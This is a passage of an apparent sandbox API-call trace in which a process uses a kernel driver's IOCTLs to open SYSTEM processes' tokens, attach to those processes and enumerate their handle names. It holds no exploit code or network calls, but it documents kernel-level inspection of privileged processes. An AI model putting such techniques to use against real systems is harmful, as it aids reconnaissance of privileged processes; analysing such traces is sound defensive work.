ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.604] ObfDereferenceObject (Object=0xfffffa80025f1a20) returned 0x2 [0111.604] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.604] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.604] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0111.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0111.604] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0111.604] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000b84) returned 0x0 [0111.604] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0111.604] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b84, DesiredAccess=0x8, TokenHandle=0xfffffa800385f8c0 | out: TokenHandle=0xfffffa800385f8c0*=0xc8) returned 0x0 [0111.605] ZwClose (Handle=0xffffffff80000b84) returned 0x0 [0111.605] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.605] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0111.605] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0111.606] CloseHandle (hObject=0xc8) returned 1 [0111.606] CloseHandle (hObject=0xc0) returned 1 [0111.606] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0111.607] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.607] PsAcquireProcessExitSynchronization () returned 0x0 [0111.607] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0111.730] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0111.730] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.730] PsReleaseProcessExitSynchronization () returned 0x2 [0111.730] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0111.730] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0111.730] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0111.730] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.730] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.731] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0111.731] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.731] PsAcquireProcessExitSynchronization () returned 0x0 [0111.731] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0111.792] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0111.792] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.792] PsReleaseProcessExitSynchronization () returned 0x2 [0111.792] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0111.792] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.792] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0111.792] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.792] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0111.792] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.792] PsAcquireProcessExitSynchronization () returned 0x0 [0111.792] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0111.855] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0111.855] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.856] PsReleaseProcessExitSynchronization () returned 0x2 [0111.856] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0111.856] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.856] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0111.856] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.856] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.856] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.856] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0111.856] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.856] PsAcquireProcessExitSynchronization () returned 0x0 [0111.856] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.142] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0112.142] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.142] PsReleaseProcessExitSynchronization () returned 0x2 [0112.142] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.142] ObQueryNameString (in: Object=0xfffffa800483e9b0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.142] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0112.142] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.142] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.142] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.142] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.142] PsAcquireProcessExitSynchronization () returned 0x0 [0112.142] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.258] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0112.258] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.258] PsReleaseProcessExitSynchronization () returned 0x2 [0112.258] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.258] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.258] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0112.258] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.258] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.259] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0112.259] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.259] PsAcquireProcessExitSynchronization () returned 0x0 [0112.259] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.328] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0112.328] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.328] PsReleaseProcessExitSynchronization () returned 0x2 [0112.328] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.328] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.328] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0112.328] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.328] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.328] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.328] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.328] PsAcquireProcessExitSynchronization () returned 0x0 [0112.328] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.429] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0112.429] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.429] PsReleaseProcessExitSynchronization () returned 0x2 [0112.429] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.429] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.429] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0112.429] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.429] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.429] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0112.429] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.429] PsAcquireProcessExitSynchronization () returned 0x0 [0112.429] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.539] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0112.539] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.539] PsReleaseProcessExitSynchronization () returned 0x2 [0112.539] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.539] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.539] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0112.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.539] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.539] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.539] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.539] PsAcquireProcessExitSynchronization () returned 0x0 [0112.539] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.648] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0112.648] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.648] PsReleaseProcessExitSynchronization () returned 0x2 [0112.648] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.648] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.648] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0112.648] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.648] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.649] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.649] PsAcquireProcessExitSynchronization () returned 0x0 [0112.649] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880055905d0) [0112.759] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0112.759] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.759] PsReleaseProcessExitSynchronization () returned 0x2 [0112.759] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0112.759] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.759] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0112.759] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.759] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.759] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0112.759] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0112.759] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0112.759] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0112.759] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0112.759] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8002510600 | out: TokenHandle=0xfffffa8002510600*=0xc8) returned 0x0 [0112.759] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0112.759] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.759] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0112.759] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0112.761] CloseHandle (hObject=0xc8) returned 1 [0112.761] CloseHandle (hObject=0xc0) returned 1 [0112.761] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0112.761] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.761] PsAcquireProcessExitSynchronization () returned 0x0 [0112.761] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.761] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0112.761] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.761] PsReleaseProcessExitSynchronization () returned 0x2 [0112.761] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.761] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0112.761] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0112.761] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.761] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.761] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0112.761] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.762] PsAcquireProcessExitSynchronization () returned 0x0 [0112.762] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.762] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0112.762] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.762] PsReleaseProcessExitSynchronization () returned 0x2 [0112.762] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.762] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.762] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0112.762] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.762] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.762] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.762] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.762] PsAcquireProcessExitSynchronization () returned 0x0 [0112.762] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.762] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0112.762] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.762] PsReleaseProcessExitSynchronization () returned 0x2 [0112.762] ObfDereferenceObject 